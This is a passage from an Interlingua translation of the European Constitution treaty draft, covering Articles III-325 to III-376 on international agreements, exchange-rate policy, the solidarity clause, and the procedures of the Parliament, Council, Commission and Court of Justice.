su opinion intra un termino que le Consilio pote fixar, secundo le urgentia del caso. In absentia de un aviso intra iste termino, le Consilio pote decider.\nConstitution\/ra 259\n7. Nonobstante lo que est disponite in le paragraphos 5, 6 et 9, le Consilio pote al conclusion de un accordo autorisar le negotiator a approbar le modificationes del accordo in le nomine de la Union, si iste modificationes secundo le accordo debe esser adoptate secundo un procedura simplificate aut per un organo instituite per iste accordo. Le Consilio pote attachar conditiones specific a un tal autorisation.\n8. Le Consilio decide per majoritate qualificate durante le integre procedura.\nTotevia, illo decide per unanimitate, quando le accordo concerne un dominio pro le qual est requirite unanimitate pro le adoption de un acto de la Union, et quando il se tracta de accordos de association et del accordos mentionate in le articulo III-319 con statos que est candidatos pro adhesion al Union.\n9. Le Consilio adopta, per proposition del Commission aut del Ministro de Affaceres Exterior de la Union, un decision europeo de suspender le application de un accordo et de stabilir le positiones a adoptar in le nomine de la Union in un organo create per un accordo, quando iste organo debe adoptar actos que ha effectos juridic, con exception de actos que completa aut modifica le quadro institutional pro le accordo.\n10. Le Parlamento Europeo debe immediatemente esser plenmente informate in tote le stadios del procedura.\n11. Un Stato membro, le Parlamento Europeo, le Consilio, aut le Commission, pote consultar le Tribunal de Justitia concernente le compatibilitate con la Constitution de un accordo previdite. In caso de un aviso negative del Tribunal de Justitia le accordo previdite solamente pote entrar in vigor si illo est modificate aut si la Constitution est revidite.\nConstitution\/ra 260\nARTICULO III-326\n1. Nonobstante lo que est disponite in le articulo III-325, le Consilio, sia per le recommendation del Banca Central Europeo, sia per le recommendation del Commission et post consultation del Banca Central Europeo in vista de pervenir a un consenso compatibile con le objectivo del stabilitate del precios, pote concluder accordos formal re un systema de cursos de cambio pro le euro in relation con le monetas de tertie Statos. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo et in conformitate con le procedura mentionate in le paragrapho 3.\nLe Consilio, sia per le recommendation del Banca Central Europeo, sia per le recommendation del Commission et post consultation del Banca Central Europeo in vista de pervenir a un consenso compatibile con le objectivo del stabilitate del precios, pote adoptar, modificar, aut abandonar le cursos central del euro in le systema del cursos de cambio. Le Presidente del Consilio informa le Parlamento Europeo re le adoption, le modification, aut le abandono del cursos central del euro.\n2. In le absentia de un systema de cursos de cambio in relation con un aut plure monetas de tertie Statos in le senso del paragrapho 1, le Consilio, decidente sia per le recommendation del Banca Central Europeo, sia per le recommendation del Commission et post consultation del Banca Central Europeo, pote formular le orientationes general del politica de cambio in relation con iste monetas. Iste orientationes general non affecta le objectivo principal del Systema europeo de bancas central, a saper le mantenimento del stabilitate del precios.\n3. Nonobstante lo que est disponite in le articulo III-325, in le caso que accordos relative al regime monetari aut de cambio debe esser negotiate inter la Union et un aut plure tertie Statos aut organizationes international, le Consilio, decidente per recommendation del Commission et post consultation del Banca Central Europeo, decide del arrangiamentos pro le negotiationes et le conclusion de iste accordos. Iste arrangiamentos debe assecurar que la Union exprime un position unic. Le Commission est plenmente associate al negotiationes.\nConstitution\/ra 261\n4. Sin prejudicio del competentias et del accordos de la Union in le dominio union economic et monetari, le Statos membros pote negotiar in le instantias international et concluder accordos.\nCAPITULO VII\nRELATIONES de la Union CON LE ORGANIZATIONES INTERNATIONAL et LE TERTIE PAISES et DELEGATIONES de la Union\nARTICULO III-327\n1. la Union stabili qualcunque cooperation utile con le organos del Nationes Unite et de lor institutiones specialisate, le Consilio de Europa, le Organisation pro le Securitate et le Cooperation in Europa, et le Organisation de Cooperation et de Disveloppamento Economic.\nLe Union assecura, in ultra, le relationes opportun con altere organizationes international.\n2. Le Ministro de Affaceres Exterior de la Union et le Commission est cargate de executar le presente articulo.\nConstitution\/ra 262\nARTICULO III-328\n1. Le delegationes de la Union in le tertie paises et presso le organizationes international assecura le representation de la Union.\n2. Le delegationes de la Union est ponite sub le autoritate del Ministro del Affaceres Exterior de la Union. Illos age in cooperation stricte con le missiones diplomatic et consular del Statos membros.\nCAPITULO VIII\nAPPLICATION DEL CLAUSULA DE SOLIDARITATE\nARTICULO III-329\n1. Si un Stato membro est le objecto de un attacco terroristic aut le victima de un catastrophe natural aut de origine human, le altere Statos membros presta assistentia a illo, per le requesta de su autoritates politic. Pro iste fin le Statos membros se coordina in le sino del Consilio.\n2. Le modalitates del application per la Union del clausula de solidaritate mentionate in le articulo I-43 est definite per un decision europeo adoptate per le Consilio, per proposition conjuncte del Commission et del Ministro de Affaceres Exterior de la Union. Quando iste decision ha implicationes in le dominio del defensa, le Consilio decide conformemente con le articulo III-300(1). Le Parlamento Europeo est informate.\nConstitution\/ra 263\nIn le quadro del presente paragrapho, et sin prejudicio del articulo III-344, le Consilio est assistite per le Committato Politic et de Securitate, con le appoio del structuras disveloppate in le quadro del politica de securitate et de defensa commun, et per le Committato mentionate in le articulo III-261, le quales presenta a illo, si necessari, avisos conjuncte.\n3. A fin de permitter al Union et a su Statos membros ager in modo efficace, le Parlamento Europeo evaluta regularmente le menacias al quales la Union est confrontate.\nConstitution\/ra 264\nTITULO VI\nFUNCTIONAMENTO de la Union\nCAPITULO I\nDISPOSITIONES INSTITUTIONAL\nSECTION 1\nINSTITUTIONES\nSubsection 1\nLe Parlamento Europeo\nARTICULO III-330\n1. Un lege aut lege-quadro del Consilio stabili le mesuras necessari pro permitter le election del membros del Parlamento Europeo per suffragio universal directe secundo un procedura uniforme in tote le Statos membros aut conformemente con principios commun a tote le Statos membros.\nConstitution\/ra 265\nLe Consilio decide per unanimitate, per un initiativa del Parlamento Europeo et post approbation per iste, que se pronuncia per le majoritate del membros qui lo compone. Iste lege aut lege-quadro entra in vigor post su approbation per le Statos membros conformemente con lor regulas constitutional respective.\n2. Un lege europeo del Parlamento Europeo fixa le statuto et le conditiones general de exercitio del functiones de su membros. Le Parlamento Europeo decide, per su proprie initiativa, post aviso del Commission et post approbation del Consilio. Le Consilio decide per unanimitate re qualcunque regula aut condition relative al regime fiscal del membros et del ex-membros.\nARTICULO III-331\nLe lege europeo fixa le statuto del partitos politic al nivello europeo mentionate in le articulo I-46(4), et in particular le regulas relative a lor financiamento.\nARTICULO III-332\nLe Parlamento Europeo pote, per majoritate del membros qui lo compone, peter le Commission submitter qualcunque proposition appropriate que pare a illo necessitar le elaboration de un acto de la Union pro le application del Constitution. Si le Commission submitte nulle proposition, illo communica le rationes de isto al Parlamento Europeo.\nConstitution\/ra 266\nARTICULO III-333\nIn le quadro del complimento de su missiones, le Parlamento Europeo pote, per requesta del quarte parte del membros qui lo compone, constituer un commission temporari de investigation pro examinar, sin prejudicio del attributiones conferite in la Constitution a altere institutiones aut organos, le allegationes de infraction et de mal administration in le application del derecto de la Union, salvo si le factos allegate est examinate ante un jurisdiction et tanto longe que le procedura jurisdictional non est concludite. Le commission temporari de investigation cessa exister con le deposito de su reporto. Un lege europeo del Parlamento Europeo fixa le modalitates del derecto de investigation. Le Parlamento Europeo decide, per su proprie initiativa, post approbation del Consilio et del Commission.\nARTICULO III-334\nConformemente con le articulo I-10(2)(d), qualcunque citatano de la Union, assi como qualcunque persona physic aut juridic residente aut habente su domicilio statutari in un Stato membro, ha le derecto de presentar, individualmente aut in association con altere personas, un petition al Parlamento Europeo re un subjecto pertinente al dominios de activitate de la Union et que le, la, aut lo concerne directemente.\nConstitution\/ra 267\nARTICULO III-335\n1. Le Parlamento Europeo elige le Mediator Europeo. In conformitate con le articulo I-49(2)(d), ille est autorisate a reciper le planctos emanante de qualcunque citatano de la Union aut de qualcunque persona physic aut juridic residente aut habente su domicilio in un Stato membro, et relative a casos de mal administration in le action del institutiones, organos aut organismos de la Union, con exception del Tribunal de Justitia de la Union Europeo in le exercitio de su functiones jurisdictional.\nConformemente con su mission, le Mediator Europeo procede al investigationes que ille considera justificate, sia per su proprie initiativa, sia super le base del planctos que le ha essite presentate directemente aut per le intermediation de un membro del Parlamento Europeo, salvo si le factos allegate est aut ha essite le objecto de un procedura jurisdictional. Si le Mediator ha constatate un caso de mal administration, ille informa le institution, organo aut organismo concernite, que dispone de un periodo de tres menses pro le communicar su aviso. Postea le Mediator transmitte un reporto al Parlamento Europeo et al institution, organo aut organismo concernite. Le persona ab le qual emana le plancto est informate del resultato de iste investigationes.\nCata anno, le Mediator presenta un reporto al Parlamento Europeo re le resultatos de su investigationes.\n2. Le Mediator est eligite post cata election del Parlamento Europeo pro le duration del legislatura. Su mandato est renovabile.\nLe Mediator pote esser declarate dimissionari per le Tribunal de Justitia, per le requesta del Parlamento Europeo, si ille non plus compli le conditiones necessari pro le exercitio de su functiones aut si ille ha committite un falta grave.\nConstitution\/ra 268\n2. Le Mediator exerce su functiones con total independentia. In le complimento de su deberes, ille sollicita aut accepta instructiones de necun institution, organo aut organismo. Durante le duration de su functiones, le Mediator pote exercer necun altere activitate professional, remunerate aut non.\n4. Un lege europeo del Parlamento Europeo fixa le statuto et le considerationes general de exercitio del functiones del Mediator. Le Parlamento Europeo decide, per su proprie initiativa, post aviso del Commission et approbation del Consilio\nARTICULO III-336\nLe Parlamento Europeo ha un session annual. Illo se reuni, sin convocation formal, le secunde martedi in martio.\nLe Parlamento Europeo pote reunir se a un session extraordinari per le requesta del majoritate del membros qui lo compone, aut per le requesta del Consilio aut del Commission.\nARTICULO III-337\n1. Le Consilio Europeo et le Consilio se pronuncia al Parlamento Europeo sub le conditiones fixate per le regulamento interior del Consilio Europeo, respectivemente del Consilio.\n2. Le Commission pote assister a tote le sessiones del Parlamento Europeo et compare, si iste lo desira. Illo responde oralmente aut per scripto al questiones que lo est ponite per le Parlamento Europeo aut per su membros.\nConstitution\/ra 269\n3. Le Parlamento Europeo discute in un session public le reporto general annual que lo presenta le Commission.\nARTICULO III-338\nSalvo dispositiones contrari in le Constitution, le Parlamento Europeo decide per majoritate del votos exprimite. Su regulamento interior fixa le quorum.\nARTICULO III-339\nLe Parlamento Europeo adopta su regulamento interior per le majoritate del membros qui lo compone. Le actos del Parlamento Europeo est publicate al conditiones mentionate per la Constitution et per su regulamento interior.\nARTICULO III-340\nSi un motion de censura re le gestion del Commission est submittite al Parlamento Europeo, illo solo pote pronunciar se re iste motion al minus tres dies post su deposito, et solo per un votation public.\nConstitution\/ra 270\nSi le motion de censura est adoptate per le majoritate del duo tertios del votos exprimite et per le majoritate del membros qui compone le Parlamento Europeo, le membros del Commission debe dimitter collectivemente de lor functiones et le Ministro de Affaceres Exterior de la Union debe dimitter del functiones que ille exerce in le sino del Commission. Illes remane in function et continua facer le affaceres currente usque lor reimplaciamento, in conformitate con le articulos I-26 et I-27. In iste caso, le mandato del membros del Commission nominate pro reimplaciar les expira al data al qual haberea debite expirar le mandato del membros del Commission obligate a dimitter collectivemente de lor functiones.\nSubsection 2\nLe Parlamento Europeo\nARTICULO III-341\n1. In caso de votation, cata membro del Parlamento Europeo pote representar solamente un singule del altere membros.\nLe abstention de membros presente aut representate non impedi le adoption del decisiones del Consilio Europeo que require le unanimitate.\n2. Le Presidente del Parlamento Europeo pote esser invitate a esser audite per le Consilio Europeo.\n3. Le Consilio Europeo decide per majoritate simple re le questiones de procedura assi como re le adoption de su regulamento interior.\n4. Le Consilio Europeo est assistite per le secretariato general del Consilio.\nConstitution\/ra 271\nSubsection 3\nLe Consilio de Ministros\nARTICULO III-342\nLe Consilio se reuni per convocation de su Presidente, per le initiativa de iste, per un de su membros. aut per le Commission.\nARTICULO III-343\n1. In caso de votation, cata membro del Consilio pote representar solamente un singule del altere membros.\n2. Pro le decisiones que require le majoritate simple, le Consilio decide per le majoritate del membros qui lo compone.\n3. Le abstention de membros presente aut representate non impedi le adoption del decisiones del Consilio que require le unanimitate.\nARTICULO III-344\n1. Un Committato composito del representantes permanente del governamentos del Statos membros est responsabile del preparation del labores del Consilio et del execution del mandatos que iste lo confide. Le Committato pote adoptar decisiones de procedura in le casos mentionate in le regulamento interior del Consilio.\nConstitution\/ra 272\n2. Le Consilio est assistite de un secretariato general sub le responsabilitate de un secretario general nominate per le Consilio.\nLe Consilio decide per majoritate simple re le organization del secretariato general.\n3. Le Consilio decide per majoritate simple re le questiones de procedura assi como re le adoption de su regulamento interior.\nARTICULO III-345\nLe Consilio pote, per majoritate simple, peter al Commission de effectuar tote le studios que illo considera opportun pro le realization del objectivos commun et de submitter le propositiones appropriate. Si le Commission submitte necun proposition, illo communica le rationes al Consilio.\nARTICULO III-346\nLe Consilio adopta decisiones europeo fixante le statutos del Committatos previste per le Constitution. Illo decide per majoritate simple, post consultation del Commission.\nConstitution\/ra 273\nSubsection 4\nLe Commission Europeo\nARTICULO III-347\nLe membros del Commission se abstine de tote acto incompatibile con lor functiones. Le Statos membros respecta lor independentia et non essaya influentiar les in le execution de lor cargas.\nLe membros del Commission pote, durante le duration de lor functiones, exercer necun altere activitate professional, remunerate aut non. Illes assume, al momento de lor installation, le ingagiamento solemne de respectar, durante le duration de lor functiones et post lor cessation, le obligationes derivate de lor carga, in particular le deberes de integritate et discretion quanto al acceptation, post iste cessation, de certe functiones aut de certe avantages. In caso de violation de iste obligationes, le Tribunal de Justitia, informate per le Consilio, et decidente per majoritate simple, aut per le Commission, pote, secundo le casos, dimitter le persona concernite sub le conditiones mentionate in le articulo III-349 aut privar le del derecto a pension aut a qualcunque altere beneficio.\nARTICULO III-348\n1. Foras del renovation periodic et del decessos, le functiones del membros del Commission fini individualmente per dimission voluntari aut per destitution.\nConstitution\/ra 274\n2. Un membro dimissionari del Commission, dimittite aut decedite, debe, pro le duration restante del mandato, esser substituite per un nove membro del mesme nationalitate, nominate per le Consilio de accordo commun con le Presidente del Commission, post consultation del Parlamento Europeo et in conformitate con le criterios in le articulo I-26(4).\nLe Consilio unanime pote, per proposition del Presidente del Commission, decider que un nove membro non est appunctate, in particular quando le duration restante del mandato del membro del Commission est curte.\n3. In caso de dimission voluntari, de destitution aut de decesso, le Presidente est reimplaciate pro le duration restante del mandato, conformemente con le articulo I-27(1).\n4. In caso de dimission voluntari, de destitution aut de decesso, le Ministro de Affaceres Exterior de la Union est reimplaciate, pro le duration restante del mandato, conformemente con le articulo I-28(1).\n5. In caso de dimission voluntari de tote le membros del Commission, istes resta in function et continua facer le cargas currente usque lor reimplaciamento, pro le duration restante del mandato, conformemente con le articulos I-26 et I-27.\nARTICULO III-349\nQualcunque membro del Commission pote, si ille non plus compli le conditiones necessari pro le exercitio de su functiones, aut si ille ha committite un falta grave, esser declarate dimissionari per le Tribunal de Justitia, per le requesta del Consilio, que decide per majoritate simple, aut del Commission.\nConstitution\/ra 275\nARTICULO III-350.\nSin prejudicio del articulo I-28(4), le responsabilitates incumbente al Commission est structurate et repartite inter su membros per su Presidente, conformemente con le articulo I-27(3). Le Presidente pote reorganizar le repartition de iste responsabilitates durante le mandato. Le membros del Commission exerce le functiones que le Presidente les attribue.\nARTICULO III-351\nLe decisiones del Commission est acquirite per majoritate de su membros. Su regulamento interior fixa le quorum.\nARTICULO III-352\n1. Le Commission adopta su regulamento interior in vista de assecurar su functionamento et illo de su servicios. Le Commission assecura le publication de iste regulamento.\n2. Le Commission publica cata anno, al minus un mense ante le apertura del session del Parlamento Europeo, un reporto general re le activitate de la Union.\nConstitution\/ra 276\nSubsection 5\nLe Tribunal de Justitia de la Union Europeo\nARTICULO III-353\nLe Tribunal de Justitia ha su sessiones in cameras, in un grande camera aut in un assemblata plen, conformemente con le statuto del Tribunal de la Union Europeo.\nARTICULO III-354\nLe Tribunal de Justitia est assistite per octo advocatos general. Si le Tribunal de Justitia lo sollicita, le Consilio pote adoptar, per unanimitate, un decision europeo pro augmentar le numero de advocatos general.\nLe function del advocato general consiste in presentar publicamente, con tote impartialitate et independentia, conclusiones motivate re le affaceres que, conformemente con le statuto del Tribunal de Justitia de la Union Europeo, require su intervention.\nARTICULO III-355\nLe judices et le advocatos general del Tribunal de Justitia, eligite inter personas qui ha plen garantias de independentia et qui reuni le conditiones requirite pro exercer, in lor paises respective, le plus alte functiones jurisdictional, aut qui est jurisconsultos possedente competentias recognoscite, est nominate de accordo commun per le governamentos del Statos membros, post consultation del Committato mentionate in le articulo III-357.\nConstitution\/ra 277\nIl ha un renovation partial del judices et del advocatos general tote le tres annos secundo le conditiones mentionate in le statuto del Tribunal de Justitia de la Union Europeo.\nLe judices designa, inter illes, pro tres annos, le Presidente del Tribunal de Justitia. Su mandato est renovabile.\nLe Tribunal de Justitia adopta su regulamento de procedura. Iste regulamento est submittite al approbation del Consilio.\nARTICULO III-356\nLe numero del judices del Tribunal General est fixate per le statuto del Tribunal de Justitia de la Union Europeo. Le statuto pote disponer que le Tribunal est assistite per advocatos general.\nLe membros del Tribunal est eligite inter personas qui offere plen garantias de independentia et qui possede le capacitate requirite pro le exercitio de alte functiones jurisdictional. Illes est nominate de accordo commun per le governamentos del Statos membros, post consultation del Committato mentionate in le articulo III-357.\nIl ha un renovation partial del Tribunal tote le tres annos.\nLe judices designa inter illes, pro tres annos, le Presidente del Tribunal. Su mandato est renovabile.\nLe Tribunal adopta su regulamento de procedura de accordo con le Tribunal de Justitia. Iste regulamento est submittite al approbation del Consilio.\nSolmente si le statuto dispone alteremente, le dispositiones de la Constitution relative al Tribunal de Justitia est applicabile al Tribunal.\nConstitution\/ra 278\nARTICULO III-357.\nUn committee est constituite a fin de dar un aviso re le adhesion del candidatos al exercitio del functiones de judice et de advocato general del Tribunal de Justitia et del Tribunal General ante que le governamentos del Statos membros procede al nominationes in conformitate con le articulos III-355 et III-356.\nLe committee est composito de septe personas eligite inter ex-membros del Tribunal de Justitia et del Tribunal General, membros del jurisdictiones national supreme et juristas possedente competentias recognoscite, del quales un est proponite per le Parlamento Europeo. Le Consilio adopta un decision europeo stabiliente le regulas de functionamento de iste committee, assi como un decision europeo que designa le membros. Le Consilio decide per initiativa del Presidente del Tribunal de Justitia.\nARTICULO III-358\n1. Le Tribunal General est competente pro cognoscer in prime instantia recursos mentionate in le articulos III-365, III-376, III-372 et III-374, con exception del recursos que est attribuite a un tribunal specialisate create in application del articulo III-359 et del recursos que le statuto del Tribunal de Justitia de la Union Europeo reserva al Tribunal de Justitia. Le statuto pote stabilir que le Tribunal de Justitia est competente pro altere categorias de recursos.\nLe decisiones prendite per le Tribunal General in virtute del presente paragrapho pote esser le objecto de un recurso de cassation ante le Tribunal de Justitia, sub le conditiones et limites mentionate in le statuto del Tribunal de Justitia europeo.\n2. Le Tribunal General est competente pro cognoscer recursos que est formate contra le decision del tribunales specialisate.\nConstitution\/ra 279\nLe decisiones prendite per le Tribunal General in virtute del presente paragrapho pote exceptionalmente esser le objecto de un reexamine per le Tribunal de Justitia, secundo le conditiones et limites mentionate in le statuto del Tribunal de Justitia de la Union Europeo, in caso de risco seriose pro le unitate aut le coherentia del derecto de la Union.\n3. Le Tribunal General est competente pro cognoscer questiones prejudicial, submittite in virtute del articulo III-369, in le materias specific determinate per le statuto del Tribunal de Justitia de la Union Europeo. Quando le Tribunal General considera que le affacer require un decision de principio que pote affectar le unitate aut le coherentia del derecto de la Union, illo pote reinviar le affacer al Tribunal de Justitia, que debe decider.\nLe decisiones prendite per le Tribunal General re questiones prejudicial pote exceptionalmente esser le objecto de un reexamine per le Tribunal de Justitia, sub conditiones et intra limites mentionate in le statuto, in caso de risco seriose pro le unitate aut le coherentia del derecto de la Union.\nARTICULO III-359\n1. Le lege europeo pote crear tribunales specialisate adjuncte al Tribunal General, cargate de cognoscer in prime instantia certe categorias de recursos formate in le materias specific. Illo est adoptate sia per proposition del Commission et post consultation del Tribunal de Justitia, sia per requesta del Tribunal de Justitia et post consultation del Commission.\n2. Le lege europeo pro le creation de un tribunal specialisate fixa le regulas relative al composition de iste tribunal et precisa le portata del attributiones que est conferite a iste tribunal specialisate.\nConstitution\/ra 280\n3. Le decisiones del tribunales specialisate pote esser le objecto de un recurso de cassation limitate al questiones de derecto o, quando le lege europeo re le creation del tribunal specialisate lo previde, de un appello relative equalmente al questiones de facto, ante le Tribunal General.\n4. Le membros del tribunales specialisate est eligite inter personas offerente plen garantias de independentia et possedente le capacitate requirite pro le exercitio de functiones jurisdictional. Illes est nominate per le Consilio, que decide per unanimitate.\n5. Le tribunales specialisate adopta lor regulamento de procedura in accordo con le Tribunal de Justitia. Iste regulamento est submittite al approbation del Consilio.\n6. Salvo un disposition in contrario del lege europeo pro le creation de un tribunal specialisate, le dispositiones del Consilio relative al Tribunal de Justitia de la Union Europeo et le dispositiones del statuto del Tribunal de Justitia de la Union Europeo est applicate al tribunales specialisate. Le titulo 1 del statuto et su articulo 64 est applicate in tote caso al tribunales specialisate.\nARTICULO III-360\nSi le Commission considera que un Stato membro non ha complite un del obligationes que lo incumbe in virtute del Constitution, illo emitte un aviso motivate re iste subjecto, post haber offerite a iste Stato le possibilitate de presentar su observationes.\nSi le Stato concernite non se conforma a iste aviso in le termino determinate per le Commission, iste pote submitter le affacer al Tribunal de Justitia de la Union Europeo.\nConstitution\/ra 281\nARTICULO III-361\nCata un del Statos membros pote recurrer al Tribunal de Justitia de la Union Europeo, si illo considera que un altere Stato membro non ha complite un del obligationes que lo incumbe in virtute del Constitution.\nAnte que un Stato membro intenta, contra un altere Stato membro, un recurso fundate super un pretendite violation del obligationes que lo incumbe in virtute del Constitution, illo debe submitter le affacer al Commission.\nLe Commission emitte un aviso motivate post que le Statos interessate ha habite le possibilitate de presentar contradictorimente lor observationes scripte et oral.\nSi le Commission non ha emittite le aviso intra un termino de tres menses a partir del requesta, le absentia de aviso non impedi que le affacer est submittite al Tribunal de Justitia.\nARTICULO III-362\n1. Si le Tribunal de Justitia de la Union Europeo declara que un stato membro non ha complite un del obligationes que lo incumbe in virtute del Constitution, iste Stato est obligate a prender le mesuras necessari pro le execution del sententia del Tribunal de Justitia.\n2. Si le Commission considera que le Stato membro concernite non ha prendite le mesuras pro le execution del sententia mentionate in le paragrapho 1, illo pote submitter le affacer al Tribunal de Justitia de la Union Europeo, post haber offerite a iste Stato de presentar su observationes. Illo indica le amonta del summa forfaitari aut del mulcta a pagar per le Stato membro concernite que illo considera adaptate al circumstantias.\nConstitution\/ra 282\nSi le Tribunal de Justitia declara que le Stato membro concernite non se ha conformate a su sententia, illo pote infliger lo le pagamento de un summa forfaitari aut de un mulcta. Iste procedura est sin prejudicio del articulo III-361.\n3. Quando le Commission presenta un recurso ante le Tribunal de Justitia de la Union Europeo in virtute del articulo III-360, considerante que le Stato membro concernite non ha complite su obligation de informar re le mesuras de transposition de un lege-quadro europeo, illo pote, si illo lo considera opportun, indicar le amonta del summa forfaitari aut del mulcta a pagar per le Stato membro concernite que illo considera adaptate al circumstantias.\nSi le Tribunal de Justitia constata non-complimento, illo pote infliger al Stato membro concernite le pagamento de un summa forfaitari aut de un mulcta in le limite del amonta indicate per le Commission. Le obligation de pagamento entra in vigor al data fixate per le Tribunal de Justitia in su sententia.\nARTICULO III-363.\nLe leges aut regulationes europeo del Commission pote attribuer al Tribunal de Justitia de la Union Europeo un competentia de plen jurisdiction pro le sanctiones que illos previde.\nARTICULO III-364.\nSin prejudicio del altere dispositiones del Constitution, le lege europeo pote attribuer al Tribunal de Justitia de la Union Europeo, in le mesura que illo determina, le competentia de decider re le lites relative al application del actos adoptate in virtute de la Constitution que crea titulos europeo de proprietate intellectual.\nConstitution\/ra 283\nARTICULO III-365\n1. Le Tribunal de Justitia de la Union Europeo controla le legalitate del leges et leges-quadro europeo, del actos del Consilio, del Commission et del Banca Central Europeo, alteres que le recommendationes et le avisos, assi como actos del Parlamento Europeo et del Consilio Europeo destinate a producer effectos juridic vis-à-vis tertie partes.\n2. Pro le fines del paragrapho 1, le Tribunal de Justitia de la Union Europeo est competente pro pronunciar se re le recursos pro incompetentia, violation del formas substantial, violation de la Constitution aut de qualcunque regula de derecto relative a su application, aut deviation de poter, facite per un Stato membro, le Parlamento Europeo, le Consilio aut le Commission.\n3. Le Tribunal de Justitia de la Union Europeo est competente, sub le conditiones mentionate in le paragraphos 1 et 2, pro pronunciar se re le recursos facite per le Tribunal de Contos, per le Banca Central Europeo et per le Committato del Regiones con le fin de salveguardar le prerogativas de istes.\n4. Tote persona physic aut juridic pote facer, sub le conditiones mentionate in le paragraphos 1 et 2, un recurso contra le actos del quales ille est le destinatario aut que le concerne directemente et individualmente, assi como contra le actos regulamentari que le concerne directemente et que non include mesuras de execution.\n5. Le actos creante le organos et organismos de la Union pote previder conditiones et modalitates particular concernente le recursos facite per personas physic aut juridic contra actos de iste organos aut organismos destinate a producer effectos juridic in relation a illes.\nConstitution\/ra 284\n6. Le recursos mentionate per le articulo presente debe esser facite intra un termino de duo menses a partir, secundo le casos, del publication del acto, de su notification al demandante o, in absentia de un tal notification, desde le die que le demandante ha cognoscentia de illo.\nARTICULO III-366\nSi le recurso est fundate, le Tribunal de Justitia de la Union Europeo declara nulle et sin valor ni effecto le acto impugnate. Totevia, illo indica, si illo lo considera necessari, iste effectos del acto annullate que debe esser considerate como definitive.\nARTICULO III-367\nSi, in violation del Constitution, le Parlamento Europeo, le Consilio de Europa, le Consilio, le Commission, aut le Banca Central Europeo, se abstine de decider, le Statos membros et le altere institutiones de la Union pote recurrer al Tribunal de Justitia de la Union Europeo pro facer constatar iste violation. Le presente articulo se applica, sub le mesme conditiones, al organos et organismos de la Union que se abstine de decider.\nIste recurso solamente est admissibile si le institution, organo aut organismo concernite ha essite previemente invitate a ager. Si, post un termino de duo menses a partir de iste invitation, le institution, le organo aut le organismo non ha definite lor position, le recurso pote esser facite in un nove termino de duo menses.\nConstitution\/ra 285\nTote persona physic aut juridic pote recurrer al Tribunal de Justitia sub le conditiones mentionate in le prime et secunde paragraphos, pro reprochar un del institutiones, aut un del organos aut organismos de la Union de non haber dirigite a ille un acto distincte de un recommendation aut de un aviso.\nARTICULO III-368\nLe institution, organo aut organismo del qual emana le acto annullate, et cuje abstention ha essite declarate contrari al Constitution, est obligate a prender mesuras que include le execution del sententia del Tribunal de Justitia de la Union Europeo. Iste obligation est sin prejudicio de lo que pote resultar del application del secunde paragrapho del articulo III-431.\nARTICULO III-369\nLe Tribunal de Justitia de la Union Europeo est competente pro decider, con character prejudicial re:\na) le interpretation del Constitution;\nb) le validitate et le interpretation del actos del institutiones, organos et organismos de la Union.\nQuando un tal question est ponite ante le jurisdiction de un del Statos membros, iste jurisdiction pote, si iste Stato considera que un decision re iste puncto est necessari pro dar su judicamento, peter le Tribunal de Justitia de decider re iste question.\nConstitution\/ra 286\nQuando un tal question est ponite in un affacer pendente ante un organo jurisdictional national cuje decisiones non est susceptibile de un recurso jurisdictional de derecto interne, iste organo est obligate a submitter le question al Tribunal de Justitia. Si un tal question est ponite in un affacer ante un organo jurisdictional national in relation con un persona private de libertate, le Tribunal de Justitia decide intra un termino le plus breve possibile.\nARTICULO III-370\nLe Tribunal de Justitia de la Union Europeo est competente pro decider in lites relative al reparation del damnos mentionate in le secunde et tertie paragraphos del articulo III-431.\nARTICULO III-371\nLe Tribunal de Justitia de la Union Europeo est competente pro pronunciar se re le legalitate de un acto adoptate per le Consilio Europeo aut per le Consilio in virtute del articulo I-59, solamente per requesta del Stato membro que est le objecto del constatation del Consilio Europeo aut del Consilio et unicamente in lo que concerne le respecto del dispositiones de procedura stabilite in iste articulo. Iste requesta debe esser facite intra un termino de un mense a partir de iste constatation. Le Tribunal de Justitia decide intra un termino de un mense a partir del data del requesta.\nConstitution\/ra 287\nARTICULO III-372\nLe Tribunal de Justitia de la Union Europeo est competente pro decider re qualcunque lite inter la Union et su agentes intra le limites et conditiones determinate per le statuto del functionarios de la Union et le regime applicabile al altere agentes de la Union.\nARTICULO III-373\nLe Tribunal de Justitia de la Union Europeo est competente, intra le limites infra exponite, pro decider re lites concernente:\na) le execution del obligationes del Statos membros resultante del statuto del Banca Europeo de Investimentos. Le consilio de administration del banca dispone hic del poteres concedite, secundo le articulo III-360, al Commission;\nb) le accordos del Consilio de Governatores del Banca Europeo de Investimentos. Cata Stato membro, le Commission et le Consilio de Administration del Banca pote facer un recurso in iste materia sub le conditiones mentionate in le articulo III-365;\nc) le accordos del Consilio de Administration del Banca Europeo de Investimentos. Le recursos contra iste accordos pote esser facite, intra le conditiones mentionate in le articulo III-365, solamente per le Statos membros aut le Commission, et unicamente pro violation del formas de procedura mentionate in le paragraphos 2 et 5, 6 et 7 del articulo 19 del statuto del Banca;\nConstitution\/ra 288\nd) le execution per le bancas national del obligationes resultante de la Constitution et del statuto del Systema europeo de bancas central et del Banca Central Europeo. Le Consilio de Governatores del Banca Central Europeo da, pro isto, vis-à-vis del bancas central national poteres recognoscite al Commission per le articulo III-360 vis-à-vis del Statos membros. Si le Tribunal de Justitia de la Union Europeo recognosce que un banca central national non ha complite un del obligationes que lo incumbe in virtute del Constitution, iste banca debe prender le dispositiones que include le execution del sententia del Tribunal de Justitia.\nARTICULO III-374\nLe Tribunal de Justitia de la Union Europeo est competente pro decider in virtute de un clausula compromissori le qual est parte de un contracto de derecto public private passate per la Union aut pro su conto.\nARTICULO III-375\n1. Sin prejudicio del competentias que la Constitution attribue al Tribunal de Justitia de la Union Europeo, le lites in le quales la Union est parte non es, pro iste motivo, subtrahite al competentia del jurisdictiones national.\n2. Le Statos membros se obliga a non submitter controversias relative al interpretation aut al application de la Constitution a un procedura pro solver illos que est distincte del proceduras stabilite in le Constitution.\n3. Le Tribunal de Justitia de la Union Europeo est competente pro decider re qualcunque controversia inter le Statos membros relationate con le objecto del Constitution, si iste controversia lo est submitte in virtute de un compromisso.\nConstitution\/ra 289\nARTICULO III-376\nLe Tribunal de Justitia de la Union Europeo non est competente pro decider relative al articulo I-40, al dispositiones del Capitulo II del Titulo V concernente le politica exterior et de securitate commun, et al articulo III-293 in le mesura que illo concerne le politica exterior et de securitate commun.\nTotevia, le Tribunal de Justitia est competente pro controlar le respecto del articulo III-308 et pronunciar se re le recursos, facite sub le conditiones mentionate in le articulo III-365(4) concernente le controlo del legalitate del decisiones europeo stabiliente mesuras 